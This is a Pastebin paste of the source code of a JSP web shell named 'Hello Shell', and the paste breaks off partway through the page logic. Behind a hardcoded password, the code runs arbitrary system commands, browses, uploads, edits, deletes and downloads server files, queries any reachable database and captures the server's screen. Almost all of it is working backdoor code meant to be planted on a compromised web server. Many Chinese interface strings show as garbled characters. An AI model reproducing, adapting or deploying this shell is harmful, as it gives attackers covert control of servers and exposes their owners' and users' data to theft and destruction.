Advertisement
Guest User

Untitled

a guest
Feb 14th, 2020
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 68.69 KB | None | 0 0
  1. <%@ page contentType="text/html; charset=gbk"%>
  2. <%@ page import="java.io.*"%>
  3. <%@ page import="java.util.*"%>
  4. <%@ page import="java.nio.charset.Charset"%>
  5. <%@ page import="java.util.regex.*"%>
  6. <%@ page import="java.sql.*"%>
  7. <%@ page import="java.util.zip.ZipEntry"%>
  8. <%@ page import="java.util.zip.ZipOutputStream"%>
  9. <%@ page import="java.text.DecimalFormat"%>
  10. <%@ page import="java.net.InetAddress"%>
  11. <%@ page import="java.awt.Dimension"%>
  12. <%@ page import="java.awt.Toolkit"%>
  13. <%@ page import="java.awt.image.BufferedImage"%>
  14. <%@ page import="java.awt.Rectangle"%>
  15. <%@ page import="java.awt.Robot"%>
  16. <%@ page import="javax.imageio.ImageIO"%>
  17. <%!
  18.  
  19. private String myPassword = "hello";
  20. private String shellName = "Hello Shell"; //title
  21.  
  22. private String loginIcon = "\u2620";
  23. private int sessionOutTime = 30; //minutes
  24. private static String language = "ENG"; //default language: ENG or CHN;
  25. private String encodeType = "utf8";
  26. //welcome info of login page
  27. public static String welcomeMsg(){
  28. return orChinese("Welcome for coming","��Ѿ������");
  29. }
  30.  
  31. private enum Operation{Edit,Delete,Rename,Download;}
  32. private String curPath;
  33. private boolean isDBconnected = false;
  34. private Connection conn = null;
  35. private Statement dbStatement = null;
  36.  
  37. private static Map<String,String> textMap = null;
  38.  
  39. static{
  40. initMap();
  41. }
  42.  
  43. public static void initMap(){
  44. if (textMap==null){
  45. textMap = new HashMap<String,String>();
  46. textMap.put("Environment", "ϵͳ����");
  47. textMap.put("File Manager", "�ļ�����");
  48. textMap.put("File Search", "�ļ�����");
  49. textMap.put("Command", "������");
  50. textMap.put("Database", "���ݿ�");
  51. textMap.put("Screen Capture", "��Ļ�ɼ�");
  52. textMap.put("Logoff", "�˳�");
  53. textMap.put("OS", "����ϵͳ");
  54. textMap.put("Computer Name", "�������");
  55. textMap.put("Available Processors", "���������ú�����");
  56. textMap.put("IP", "IP��ַ");
  57. textMap.put("System Driver", "ϵͳ�̷�");
  58. textMap.put("Driver Info", "������Ϣ");
  59. textMap.put("User Name", "�û���");
  60. textMap.put("User DNS Domain", "�û���");
  61. textMap.put("User Domain", "�ʻ���������");
  62. textMap.put("User Profile", "�û�Ŀ¼");
  63. textMap.put("All User Profile", "�û�����Ŀ¼");
  64. textMap.put("Temp", "�û���ʱ�ļ�Ŀ¼");
  65. textMap.put("Program Files", "Ĭ�ϳ���Ŀ¼");
  66. textMap.put("AppData", "Ӧ�ó�������Ŀ¼");
  67. textMap.put("System Root", "ϵͳ����Ŀ¼");
  68. textMap.put("Console", "����̨");
  69. textMap.put("File Executable", "��ִ�к�׺");
  70. textMap.put("My Path", "���������·��");
  71. textMap.put("User Dir", "��ǰ�û�����Ŀ¼");
  72. textMap.put("Protocol", "������");
  73. textMap.put("Server Info", "�����������汾��Ϣ");
  74. textMap.put("JDK Version", "JDK�汾");
  75. textMap.put("JDK Home", "JDK��װ·��");
  76. textMap.put("JVM Version", "JAVA������汾");
  77. textMap.put("JVM Name", "JAVA�������");
  78. textMap.put("Class Path", "JAVA��·��");
  79. textMap.put("Java Library Path", "JAVA���������·��");
  80. textMap.put("Java tmpdir", "JAVA��ʱĿ¼");
  81. textMap.put("Compiler", "JIT��������");
  82. textMap.put("Java ext dirs", "��չĿ¼·��");
  83. textMap.put("Remote Addr", "�ͻ�����ַ");
  84. textMap.put("Remote Host", "�ͻ�������");
  85. textMap.put("Remote User", "�ͻ����û���");
  86. textMap.put("Scheme", "����ʽ");
  87. textMap.put("Secure", "Ӧ�ð�ȫ�׽��ֲ�");
  88. textMap.put("Yes", "��");
  89. textMap.put("No", "��");
  90. textMap.put("Edit", "�༭");
  91. textMap.put("Delete", "ɾ��");
  92. textMap.put("Rename", "������");
  93. textMap.put("Download", "����");
  94. textMap.put("File Name", "�ļ���");
  95. textMap.put("Size", "��С");
  96. textMap.put("Operation", "����");
  97. textMap.put("GOTO", "��ת");
  98. textMap.put("Home", "��Ŀ¼");
  99. textMap.put("Select", "ѡ��");
  100. textMap.put("Upload", "�ϴ�");
  101. textMap.put("Create File", "�����ļ�");
  102. textMap.put("Create Folder", "�����ļ���");
  103. textMap.put("Wrong Password","�������");
  104. textMap.put("Folder name is null","�ļ�����Ϊ��");
  105. textMap.put("Content is null","������");
  106. textMap.put("File name is null","�ļ���Ϊ��");
  107. textMap.put("Search from","����Ŀ¼");
  108. textMap.put("Search for file type","�ļ��ĺ�׺��");
  109. textMap.put("Setting","����");
  110. textMap.put("Search by Name","����������");
  111. textMap.put("Search by Content","����������");
  112. textMap.put("Ignore Case","���Դ�Сд");
  113. textMap.put("Search keyword","�ؼ���");
  114. textMap.put("Search","����");
  115. textMap.put("Execute","ִ��");
  116. textMap.put("Connect","����");
  117. textMap.put("Disconnect","�Ͽ�");
  118. textMap.put("Database Type","���ݿ�����");
  119. textMap.put("Driver","��������");
  120. textMap.put("Host","������ַ");
  121. textMap.put("Port","�˿ں�");
  122. textMap.put("DB Name","���ݿ���");
  123. textMap.put("Username","�û���");
  124. textMap.put("Password","����");
  125. textMap.put("SQL","SQL���");
  126. textMap.put("File is already exist","�ļ��Ѵ���");
  127. textMap.put("Folder is empty","�ļ���Ϊ��");
  128. textMap.put("Bad command","���������");
  129. textMap.put("Save","����");
  130. textMap.put("Return Back","����");
  131. textMap.put("is not a text file","�����ı��ļ�");
  132. textMap.put("File can not be writed","�ļ�����д");
  133. textMap.put("Save success","����ɹ�");
  134. textMap.put("Exception","�쳣");
  135. textMap.put("Folder already exist","�ļ����Ѵ���");
  136. textMap.put("File already exist","�ļ��Ѵ���");
  137. textMap.put("File upload success","�ļ��ϴ��ɹ�");
  138. textMap.put("File upload failed","�ļ��ϴ�ʧ��");
  139. textMap.put("connect failed","����ʧ��");
  140. textMap.put("connect success","���ӳɹ�");
  141. textMap.put("Can not connect to database","�������ӵ����ݿ�");
  142. textMap.put("Invalid SQL","����SQL");
  143. textMap.put("result","���");
  144. textMap.put("SQL execute failed","SQLִ��ʧ��");
  145. textMap.put("SQL execute success","SQLִ�гɹ�");
  146. textMap.put("Free, Total","����,��");
  147. textMap.put("Please input new name","�������µ�����");
  148. textMap.put("Name can not be null","���ֲ���Ϊ��");
  149. textMap.put("Refresh","ˢ��");
  150. }
  151. }
  152. public static String orChinese(String key){
  153. return "CHN".equalsIgnoreCase(language)
  154. ? textMap.get(key)
  155. : key;
  156. }
  157. public static String orChinese(String english, String chinese){
  158. textMap.put(english, chinese);
  159. return orChinese(english);
  160. }
  161. public List<File> getFolderList(String path) {
  162. List<File> rtnList = new ArrayList<File>();
  163. File file = new File(path);
  164. if (file.exists() && file.isDirectory()) {
  165. File[] listFiles = file.listFiles(new FileFilter() {
  166. public boolean accept(File pathname) {
  167. return pathname.isDirectory();
  168. }
  169. });
  170. rtnList.addAll(Arrays.asList(listFiles));
  171. }
  172. return rtnList;
  173. }
  174.  
  175. public List<File> getFileList(String path) {
  176. List<File> rtnList = new ArrayList<File>();
  177. File file = new File(path);
  178. if (file.exists() && file.isDirectory()) {
  179. File[] listFiles = file.listFiles(new FileFilter() {
  180. public boolean accept(File pathname) {
  181. return pathname.isFile();
  182. }
  183. });
  184. rtnList.addAll(Arrays.asList(listFiles));
  185. }
  186. return rtnList;
  187. }
  188.  
  189. public class MyFile extends File {
  190.  
  191. private String htmlOperation;
  192. private String requestUrl;
  193.  
  194. public MyFile(String pathname, String requestUrl) {
  195. super(pathname);
  196. this.requestUrl = requestUrl;
  197. }
  198.  
  199. public String getHtmlOperation() {
  200. return htmlOperation;
  201. }
  202.  
  203. public void setHtmlOperation(Operation... Opers) {
  204. this.htmlOperation = "";
  205. for (Operation o : Opers) {
  206. if (o.equals(Operation.Rename)) {
  207. String url = requestUrl + "&fsAction=" + o + "&fileName=" + this.getName();
  208. htmlOperation += "&nbsp;<a href=\"#\" onclick=\"rename('" + url + "','"
  209. + orChinese("Please input new name") + "','" + orChinese("Name can not be null") + "')\">"
  210. + orChinese(o.toString()) + "</a>&nbsp;";
  211. } else {
  212. htmlOperation += "&nbsp;<a href=\"" + requestUrl + "&fsAction=" + o + "&fileName=" + this.getName()
  213. + "\">" + orChinese(o.toString()) + "</a>&nbsp;";
  214. }
  215. }
  216. }
  217.  
  218. public String getLength() {
  219. if (this.isDirectory())
  220. return "";
  221. return getSize(this.length());
  222. }
  223. }
  224.  
  225. public static String getSize(long size) {
  226. DecimalFormat df = new DecimalFormat("0.00");
  227. if (size >> 40 >= 1)
  228. return df.format((float) size / 1024 / 1024 / 1024 / 1024) + " TB";
  229. if (size >> 30 >= 1)
  230. return df.format((float) size / 1024 / 1024 / 1024) + " GB";
  231. else if (size >> 20 >= 1)
  232. return df.format((float) size / 1024 / 1024) + " MB";
  233. else if (size >> 10 >= 1)
  234. return df.format((float) size / 1024) + " KB";
  235. else
  236. return df.format((float) size) + " B ";
  237. }
  238.  
  239. public void download(String path, HttpServletResponse response) throws Exception {
  240. try {
  241. File file = new File(path);
  242. String filename = file.getName();
  243. String ext = filename.substring(filename.lastIndexOf(".") + 1).toUpperCase();
  244. InputStream fis = new BufferedInputStream(new FileInputStream(path));
  245. byte[] buffer = new byte[fis.available()];
  246. fis.read(buffer);
  247. fis.close();
  248. response.reset();
  249. response.addHeader("Content-Disposition",
  250. "attachment;filename=" + new String(filename.getBytes(), "ISO-8859-1"));
  251. response.addHeader("Content-Length", "" + file.length());
  252. OutputStream toClient = new BufferedOutputStream(response.getOutputStream());
  253. response.setContentType("application/octet-stream");
  254. toClient.write(buffer);
  255. toClient.flush();
  256. toClient.close();
  257. } catch (IOException ex) {
  258. throw ex;
  259. }
  260. }
  261.  
  262. public static File createZip(String sourcePath, String zipPath) throws Exception {
  263. FileOutputStream fos = null;
  264. ZipOutputStream zos = null;
  265. try {
  266. File zipFile = new File(zipPath);
  267. if (zipFile.exists()) {
  268. throw new Exception(orChinese("File is already exist") + ": " + zipFile.getName());
  269. }
  270. File srcFolder = new File(sourcePath);
  271. if (!srcFolder.exists() || srcFolder.listFiles().length == 0) {
  272. throw new Exception(orChinese("Folder is empty") + ": " + srcFolder.getName());
  273. }
  274. fos = new FileOutputStream(zipPath);
  275. zos = new ZipOutputStream(fos);
  276. writeZip(new File(sourcePath), "", zos);
  277. return zipFile;
  278. } catch (Exception e) {
  279. throw e;
  280. } finally {
  281. try {
  282. if (zos != null)
  283. zos.close();
  284. if (fos != null)
  285. fos.close();
  286. } catch (Exception e) {
  287. throw e;
  288. }
  289. }
  290. }
  291.  
  292. private static void writeZip(File file, String parentPath, ZipOutputStream zos) throws Exception {
  293. if (!file.exists())
  294. return;
  295. if (file.isDirectory()) {
  296. parentPath += file.getName() + File.separator;
  297. File[] files = file.listFiles();
  298. for (File f : files) {
  299. writeZip(f, parentPath, zos);
  300. }
  301. } else {
  302. FileInputStream fis = null;
  303. DataInputStream dis = null;
  304. try {
  305. fis = new FileInputStream(file);
  306. dis = new DataInputStream(new BufferedInputStream(fis));
  307. ZipEntry ze = new ZipEntry(parentPath + file.getName());
  308. zos.putNextEntry(ze);
  309. byte[] content = new byte[1024];
  310. int len;
  311. while ((len = fis.read(content)) != -1) {
  312. zos.write(content, 0, len);
  313. zos.flush();
  314. }
  315. } catch (Exception e) {
  316. throw e;
  317. } finally {
  318. try {
  319. if (dis != null)
  320. dis.close();
  321. if (fis != null)
  322. fis.close();
  323. } catch (Exception e) {
  324. throw e;
  325. }
  326. }
  327. }
  328. }
  329.  
  330. public String exeCmd(String cmd) {
  331. Runtime runtime = Runtime.getRuntime();
  332. Process proc = null;
  333. String retStr = "";
  334. InputStreamReader insReader = null;
  335. char[] tmpBuffer = new char[1024];
  336. int nRet = 0;
  337.  
  338. try {
  339. proc = runtime.exec(cmd);
  340. insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
  341.  
  342. while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
  343. retStr += new String(tmpBuffer, 0, nRet) + "\n";
  344. }
  345. insReader.close();
  346. retStr = HTMLEncode(retStr);
  347. return retStr;
  348. } catch (Exception e) {
  349. retStr = "<font color=\"red\">" + orChinese("Bad command") + ": \"" + cmd + "\"</font>";
  350. return retStr;
  351. }
  352. }
  353.  
  354. public String HTMLEncode(String str) {
  355. str = str.replaceAll(" ", "&nbsp;");
  356. str = str.replaceAll("<", "&lt;");
  357. str = str.replaceAll(">", "&gt;");
  358. str = str.replaceAll("\r\n", "<br>");
  359. return str;
  360. }
  361.  
  362. public String Unicode2GB(String str) {
  363. String sRet = null;
  364. if (str == null)
  365. return "";
  366. try {
  367. sRet = new String(str.getBytes("ISO8859_1"), encodeType);
  368. } catch (Exception e) {
  369. sRet = str;
  370. }
  371.  
  372. return sRet;
  373. }
  374.  
  375. public String pathConvert(String path) {
  376. String sRet = path.replace('\\', '/');
  377. File file = new File(path);
  378. if (file.getParent() != null) {
  379. if (file.isDirectory()) {
  380. if (!sRet.endsWith("/"))
  381. sRet += "/";
  382. }
  383. } else {
  384. if (!sRet.endsWith("/"))
  385. sRet += "/";
  386. }
  387. return sRet;
  388. }
  389.  
  390. public String searchFile(String path, String content, String subfix, boolean byname, boolean ignoreCase) {
  391. List<String> list = new ArrayList<String>();
  392. searchFile(list, path, content, subfix, byname, ignoreCase);
  393. StringBuilder sb = new StringBuilder();
  394. for (String line : list) {
  395. sb.append(line.replace("\\", "/") + "<br>");
  396. }
  397. return sb.toString();
  398. }
  399.  
  400. private void searchFile(List<String> list, String path, String content, String subfix, boolean byname,
  401. boolean ignoreCase) {
  402. path = pathConvert(path);
  403. File dir = new File(path);
  404. if (dir.exists() && dir.isDirectory()) {
  405. if (dir.list() != null && dir.list().length > 0) {
  406. for (File f : dir.listFiles()) {
  407. if (!f.isDirectory()) {
  408. String fname = f.getName();
  409. String srcStr = f.getName();
  410. if (containsSubfix(fname, subfix.split(" "))) {
  411. if (!byname) {
  412. srcStr = readText(f);
  413. }
  414. if (ignoreCase) {
  415. content = content.toUpperCase();
  416. srcStr = srcStr.toUpperCase();
  417. }
  418. if (srcStr.contains(content)) {
  419. list.add(f.getAbsolutePath());
  420. }
  421. }
  422. } else {
  423. searchFile(list, f.getAbsolutePath(), content, subfix, byname, ignoreCase);
  424. }
  425. }
  426. }
  427. }
  428. }
  429.  
  430. private boolean containsSubfix(String name, String[] subfixs) {
  431. boolean rtn = false;
  432. if (subfixs == null || subfixs.length == 0)
  433. return rtn;
  434. for (String ext : subfixs) {
  435. if (name.toUpperCase().endsWith(ext.toUpperCase())) {
  436. rtn = true;
  437. }
  438. }
  439. return rtn;
  440. }
  441.  
  442. public static String readText(File file) {
  443. StringBuilder sb = new StringBuilder();
  444. BufferedReader reader = null;
  445. try {
  446. reader = new BufferedReader(new InputStreamReader(new FileInputStream(file), "GB2312"));
  447. String str = null;
  448. while ((str = reader.readLine()) != null) {
  449. sb.append(str);
  450. }
  451. } catch (Exception e) {
  452. e.printStackTrace();
  453. } finally {
  454. try {
  455. reader.close();
  456. } catch (Exception e) {
  457. e.printStackTrace();
  458. }
  459. }
  460. return sb.toString();
  461.  
  462. }
  463.  
  464. public String openFile(String path, String fileName, String curUri) {
  465. String sRet = "";
  466. String fileString = null;
  467. File curFile = null;
  468. path = pathConvert(path);
  469. try {
  470. fileString = "";
  471. curFile = new File(path, fileName);
  472. FileReader fileReader = new FileReader(curFile);
  473. char[] chBuffer = new char[1024];
  474. int nRet;
  475. while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) {
  476. fileString += new String(chBuffer, 0, nRet);
  477. }
  478. if (fileString != null) {
  479. sRet += "<table align=\"center\" width=\"100%\" cellpadding=\"2\" cellspacing=\"1\">\n";
  480. sRet += " <form name=\"openfile\" method=\"post\" action=\"" + curUri + "&curPath=" + path
  481. + "&fsAction=save" + "\">\n";
  482. sRet += " <input type=\"hidden\" name=\"fileName\" value=\"" + fileName + "\" />\n";
  483. sRet += " <tr>\n";
  484. sRet += " <td>[<a href=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\">"
  485. + orChinese("Return Back") + "</a>]</td>\n";
  486. sRet += " </tr>\n";
  487. sRet += " <tr>\n";
  488. sRet += " <td align=\"left\">\n";
  489. sRet += " <textarea name=\"fileContent\" class=\"trans\" style=\"display:block;width:100%\" rows=\"32\" >\n";
  490. sRet += HTMLEncode(fileString).replace("<br>", "\r\n");
  491. sRet += " </textarea>\n";
  492. sRet += " </td>\n";
  493. sRet += " </tr>\n";
  494. sRet += " <tr>\n";
  495. sRet += " <td align=\"center\"><input type=\"submit\" class=\"trans\" value=\""
  496. + orChinese("Save") + "\" /></td>\n";
  497. sRet += " </tr>\n";
  498. sRet += " </form>\n";
  499. sRet += "</table>\n";
  500. }
  501. fileReader.close();
  502. } catch (IOException e) {
  503. sRet = "<font color=\"red\">\"" + path + "\" " + orChinese("is not a text file") + "</font>";
  504. }
  505. return sRet;
  506. }
  507.  
  508. public String saveFile(String path, String fileName, String curUri, String fileContent) {
  509. String sRet = "";
  510. File file = null;
  511.  
  512. path = pathConvert(path);
  513.  
  514. try {
  515. file = new File(path, fileName);
  516.  
  517. if (!file.canWrite()) {
  518. sRet = "<font color=\"red\">" + orChinese("File can not be writed") + "</font>";
  519. } else {
  520. FileWriter fileWriter = new FileWriter(file);
  521. fileWriter.write(fileContent);
  522.  
  523. fileWriter.close();
  524. sRet = orChinese("Save success") + "!\n";
  525. sRet += "<meta http-equiv=\"refresh\" content=\"1;url=" + curUri + "&curPath=" + path
  526. + "&fsAction=list\" />\n";
  527. }
  528. } catch (IOException e) {
  529. sRet = "<font color=\"red\">" + orChinese("Exception") + ": " + e.getMessage() + "</font>";
  530. }
  531. return sRet;
  532. }
  533.  
  534. public String createFolder(String path, String fileName, String url) {
  535. try {
  536. File file = new File(path, fileName);
  537. if (file.exists())
  538. return orChinese("Folder already exist") + "!";
  539. else
  540. file.mkdirs();
  541. } catch (Exception e) {
  542. return "<font color=\"red\">" + orChinese("Exception") + ": " + e.getMessage() + "</font>";
  543. }
  544. return "<meta http-equiv=\"refresh\" content=\"0;url=" + url + "&curPath=" + path + "&fsAction=list\" />";
  545. }
  546.  
  547. public String createFile(String path, String fileName, String url) {
  548. try {
  549. File file = new File(path, fileName);
  550. if (file.exists())
  551. return orChinese("File already exist") + "!";
  552. else
  553. file.createNewFile();
  554. } catch (Exception e) {
  555. return "<font color=\"red\">" + orChinese("Exception") + ": " + e.getMessage() + "</font>";
  556. }
  557. return "<meta http-equiv=\"refresh\" content=\"0;url=" + url + "&curPath=" + path + "&fsAction=list\" />";
  558. }
  559.  
  560. public String deleteFile(String path, String fileName, String url) {
  561. File file = new File(path, fileName);
  562. if (file.exists())
  563. file.delete();
  564. return "<meta http-equiv=\"refresh\" content=\"0;url=" + url + "&curPath=" + path + "&fsAction=list\" />";
  565. }
  566.  
  567. public String download(String path, String fileName, String url, HttpServletResponse response) {
  568. String rtnStr = "";
  569. File file = new File(path, fileName);
  570. File downFile = null;
  571. if (!file.exists())
  572. return null;
  573. try {
  574. if (file.isDirectory()) {
  575. file = createZip(file.getAbsolutePath(), file.getAbsolutePath() + ".zip");
  576. }
  577. download(file.getAbsolutePath(), response);
  578. } catch (Exception e) {
  579. rtnStr = e.getMessage();
  580. }
  581. return rtnStr;
  582. }
  583.  
  584. public String rename(String path, String fileName, String newFile, String url) {
  585. File file = new File(path, fileName);
  586. File nFile = new File(path, newFile);
  587. if (file.exists()) {
  588. file.renameTo(nFile);
  589. }
  590. return "<meta http-equiv=\"refresh\" content=\"0;url=" + url + "&curPath=" + path + "&fsAction=list\" />";
  591. }
  592.  
  593. public String uploadFile(ServletRequest request, String path, String curUri) {
  594. String sRet = "";
  595. File file = null;
  596. InputStream in = null;
  597. path = pathConvert(path);
  598. try {
  599. in = request.getInputStream();
  600. byte[] inBytes = new byte[request.getContentLength()];
  601. int nBytes;
  602. int start = 0;
  603. int end = 0;
  604. int size = 1024;
  605. String token = null;
  606. String filePath = null;
  607. while ((nBytes = in.read(inBytes, start, size)) != -1) {
  608. start += nBytes;
  609. }
  610. in.close();
  611. int i = 0;
  612. byte[] seperator;
  613.  
  614. while (inBytes[i] != 13) {
  615. i++;
  616. }
  617. seperator = new byte[i];
  618.  
  619. for (i = 0; i < seperator.length; i++) {
  620. seperator[i] = inBytes[i];
  621. }
  622. String dataHeader = null;
  623. i += 3;
  624. start = i;
  625. while (!(inBytes[i] == 13 && inBytes[i + 2] == 13)) {
  626. i++;
  627. }
  628. end = i - 1;
  629. dataHeader = new String(inBytes, start, end - start + 1);
  630. token = "filename=\"";
  631. start = dataHeader.indexOf(token) + token.length();
  632. token = "\"";
  633. end = dataHeader.indexOf(token, start) - 1;
  634. filePath = dataHeader.substring(start, end + 1);
  635. i += 4;
  636. start = i;
  637. end = inBytes.length - 1 - 2 - seperator.length - 2 - 2;
  638. File newFile = new File(path + filePath);
  639. newFile.createNewFile();
  640. FileOutputStream out = new FileOutputStream(newFile);
  641. out.write(inBytes, start, end - start + 1);
  642. out.close();
  643.  
  644. sRet = "<script language=\"javascript\">\n";
  645. sRet += "alert(\"" + orChinese("File upload success") + "! " + filePath + "\");\n";
  646. sRet += "</script>\n";
  647. } catch (IOException e) {
  648. sRet = "<script language=\"javascript\">\n";
  649. sRet += "alert(\"" + orChinese("File upload failed") + "!\");\n";
  650. sRet += "</script>\n";
  651. }
  652.  
  653. sRet += "<meta http-equiv=\"refresh\" content=\"0;url=" + curUri + "&curPath=" + path + "\" />";
  654. return sRet;
  655. }
  656.  
  657. public String DBConnect(String url, String username, String password) {
  658. String bRet = orChinese("connect failed");
  659. if (url != null) {
  660. try {
  661. if (username != null && username.trim().length() > 0) {
  662. conn = DriverManager.getConnection(url, username, password);
  663. } else {
  664. conn = DriverManager.getConnection(url);
  665. }
  666. dbStatement = conn.createStatement();
  667. bRet = orChinese("connect success");
  668. } catch (SQLException e) {
  669. bRet = orChinese("connect failed") + ": " + e.getMessage();
  670. }
  671. }
  672. return bRet;
  673. }
  674.  
  675. public String DBExecute(String sql) {
  676. String sRet = "";
  677. if (sql == null)
  678. return "SQL is null";
  679. if (conn == null || dbStatement == null) {
  680. sRet = "<font color=\"red\">" + orChinese("Can not connect to database") + "</font>";
  681. } else {
  682. try {
  683. if (sql.length() <= 6)
  684. return "<font color=\"red\">" + orChinese("Invalid SQL") + "</font>";
  685. if (sql.toLowerCase().substring(0, 6).equals("select")) {
  686. ResultSet rs = dbStatement.executeQuery(sql);
  687. ResultSetMetaData rsmd = rs.getMetaData();
  688. int colNum = rsmd.getColumnCount();
  689. int colType;
  690.  
  691. sRet = orChinese("SQL execute success") + ", " + orChinese("result") + ":<br>\n";
  692. sRet += "<table align=\"center\" border=\"0\" cellpadding=\"2\" cellspacing=\"1\">\n";
  693. sRet += " <tr>\n";
  694. for (int i = 1; i <= colNum; i++) {
  695. sRet += " <th>" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")</th>\n";
  696. }
  697. sRet += " </tr>\n";
  698. while (rs.next()) {
  699. sRet += " <tr>\n";
  700. for (int i = 1; i <= colNum; i++) {
  701. colType = rsmd.getColumnType(i);
  702.  
  703. sRet += " <td>";
  704. switch (colType) {
  705. case Types.BIGINT:
  706. sRet += rs.getLong(i);
  707. break;
  708.  
  709. case Types.BIT:
  710. sRet += rs.getBoolean(i);
  711. break;
  712.  
  713. case Types.BOOLEAN:
  714. sRet += rs.getBoolean(i);
  715. break;
  716.  
  717. case Types.CHAR:
  718. sRet += rs.getString(i);
  719. break;
  720.  
  721. case Types.DATE:
  722. sRet += rs.getDate(i).toString();
  723. break;
  724.  
  725. case Types.DECIMAL:
  726. sRet += rs.getDouble(i);
  727. break;
  728.  
  729. case Types.NUMERIC:
  730. sRet += rs.getDouble(i);
  731. break;
  732.  
  733. case Types.REAL:
  734. sRet += rs.getDouble(i);
  735. break;
  736.  
  737. case Types.DOUBLE:
  738. sRet += rs.getDouble(i);
  739. break;
  740.  
  741. case Types.FLOAT:
  742. sRet += rs.getFloat(i);
  743. break;
  744.  
  745. case Types.INTEGER:
  746. sRet += rs.getInt(i);
  747. break;
  748.  
  749. case Types.TINYINT:
  750. sRet += rs.getShort(i);
  751. break;
  752.  
  753. case Types.VARCHAR:
  754. sRet += rs.getString(i);
  755. break;
  756.  
  757. case Types.TIME:
  758. sRet += rs.getTime(i).toString();
  759. break;
  760.  
  761. case Types.DATALINK:
  762. sRet += rs.getTimestamp(i).toString();
  763. break;
  764. }
  765. sRet += " </td>\n";
  766. }
  767. sRet += " </tr>\n";
  768. }
  769. sRet += "</table>\n";
  770.  
  771. rs.close();
  772. } else {
  773. if (dbStatement.execute(sql)) {
  774. sRet = orChinese("SQL execute success");
  775. } else {
  776. sRet = "<font color=\"red\">" + orChinese("SQL execute failed") + "</font>";
  777. }
  778. }
  779. } catch (SQLException e) {
  780. sRet = "<font color=\"red\">" + orChinese("SQL execute failed") + "</font>";
  781. }
  782. }
  783.  
  784. return sRet;
  785. }
  786.  
  787. private void getScreenImg(HttpServletRequest request, HttpServletResponse response) throws Exception {
  788. try{
  789. response.reset();
  790. response.setContentType("image/jpg");
  791. ServletOutputStream sos = response.getOutputStream();
  792. response.setHeader("Pragma", "No-cache");
  793. response.setHeader("Cache-Control", "no-cache");
  794. response.setDateHeader("Expires", 0);
  795. Dimension dimension = Toolkit.getDefaultToolkit().getScreenSize();
  796. BufferedImage screenshot = (new Robot())
  797. .createScreenCapture(new Rectangle(0, 0, (int) dimension.getWidth(), (int) dimension.getHeight()));
  798. ByteArrayOutputStream bos = new ByteArrayOutputStream();
  799. ImageIO.write(screenshot, "jpg", bos);
  800. byte[] buf = bos.toByteArray();
  801. response.setContentLength(buf.length);
  802. sos.write(buf);
  803. bos.close();
  804. sos.close();
  805. }catch(Exception e){
  806. }
  807. }
  808.  
  809. public String getDriverInfo() {
  810. String str = "";
  811. File[] roots = File.listRoots();
  812. for (File file : roots) {
  813. str += file.getPath() + "&nbsp;(";
  814. str += getSize(file.getFreeSpace()) + " " + orChinese("Free, Total") + " ";
  815. str += getSize(file.getTotalSpace()) + ")<br>";
  816. }
  817. return str;
  818. }%>
  819.  
  820. <html>
  821. <head>
  822. <meta charset="utf-8">
  823. <style>
  824. body {font-size: 14px;font-family: &#23435; &#20307; ;color: white;background-color: black;text-align: center;padding: 5 5 5 5;}
  825. .trans {background: transparent;margin: 1 1 1 1;color: white;}
  826. input.textbox {border: black solid 1;font-size: 12px;height: 18px;}
  827. textarea {border: black solid 1;}
  828. table {border-collapse: collapse;}
  829. table.onhover tr:hover{background:red;}
  830. td {border: 1px dotted #FFF;height: 18px;}
  831. .break-all {word-break: break-all;}
  832. .oper {display: inline-block;float: left;width: 130px;border: 1px dotted #FFF;padding: 5px;margin-right: 3px;margin-bottom: 15px;height: 18px;cursor: hand;}
  833. .container {position: absolute;margin: 2 2 2 2;top: 68px;width: 95%;}
  834. a:link, a:visited {text-decoration: none;color: #FFF;}
  835. a:hover {text-decoration: underline;color: #FFF;}
  836.  
  837. </style>
  838. <script type="text/JavaScript">
  839. var pressKey = function() {
  840. if (event.keyCode == 13) {
  841. event.returnValue = false;
  842. event.cancel = true;
  843. loginForm.submit();
  844. }
  845. }
  846. var redirect = function(action) {
  847. var actionOption = document.getElementById('actionOption');
  848. actionOption.value = action;
  849. actionForm.submit();
  850. }
  851. var createFile = function(url){
  852. var filename = document.getElementById('createFileName');
  853. window.location.href = url + "&fileName=" + filename.value;
  854. }
  855. var rename = function(url, msg, errormsg){
  856. var result = prompt(msg + "��" ,"")
  857. if (result){
  858. window.location.href=url + "&newName=" + result;
  859. }else{
  860. alert(errormsg);
  861. }
  862. }
  863. var dbsubmit = function(fsAction){
  864. var form = document.getElementById("sqlform");
  865. form.action += "&fsAction=" + fsAction;
  866. document.getElementById("sqlform").submit();
  867. }
  868. var languageChanged = function(url , oldurl){
  869. oldurl = oldurl.replace("&","{{and}}").replace("?","{{question}}");
  870. url = url + "&oldurl=" + oldurl;
  871. window.location.href = url;
  872. }
  873. </script>
  874. <title><%=shellName %></title>
  875. </head>
  876. <body>
  877. <%
  878. session.setMaxInactiveInterval(sessionOutTime * 60);
  879. if (request.getParameter("myPassword") == null && session.getAttribute("myPassword") == null) {
  880. if (request.getParameter("lang") !=null){
  881. language = request.getParameter("lang");
  882. String oldurl = request.getParameter("oldurl");
  883. String str = "<meta http-equiv=\"refresh\" content=\"0;url="+oldurl+"\" />";
  884. out.println(str);
  885. out.flush();
  886. }
  887. %>
  888. <font style="font-size: 300px; color: white"><% out.println(loginIcon); %></font>
  889. <form name="loginForm">
  890. <font size=4><%=welcomeMsg() %></font><br><br>
  891. <input class="textbox" size="30" name="myPassword" type="password" onkeydown="pressKey()" />
  892. </form>
  893. <%
  894. } else {
  895. String password = null;
  896. if (session.getAttribute("myPassword") == null) {
  897. password = (String) request.getParameter("myPassword");
  898. if (!myPassword.equals(password)) {
  899. String rtnStr = "<div align=\"center\"><br><br><font color=\"red\">"+orChinese("Wrong Password")+"</font></div>";
  900. rtnStr += "<meta http-equiv=\"refresh\" content=\"1;url=" + request.getRequestURL() + "\" />";
  901. out.println(rtnStr);
  902. out.flush();
  903. //out.close();
  904. return;
  905. }
  906. session.setAttribute("myPassword", password);
  907. } else {
  908. password = (String) session.getAttribute("myPassword");
  909. }
  910.  
  911. String action = null;
  912. if (request.getParameter("action") == null)
  913. action = "env";
  914. else
  915. action = (String) request.getParameter("action");
  916.  
  917. if (action.equals("exit")) {
  918. session.removeAttribute("myPassword");
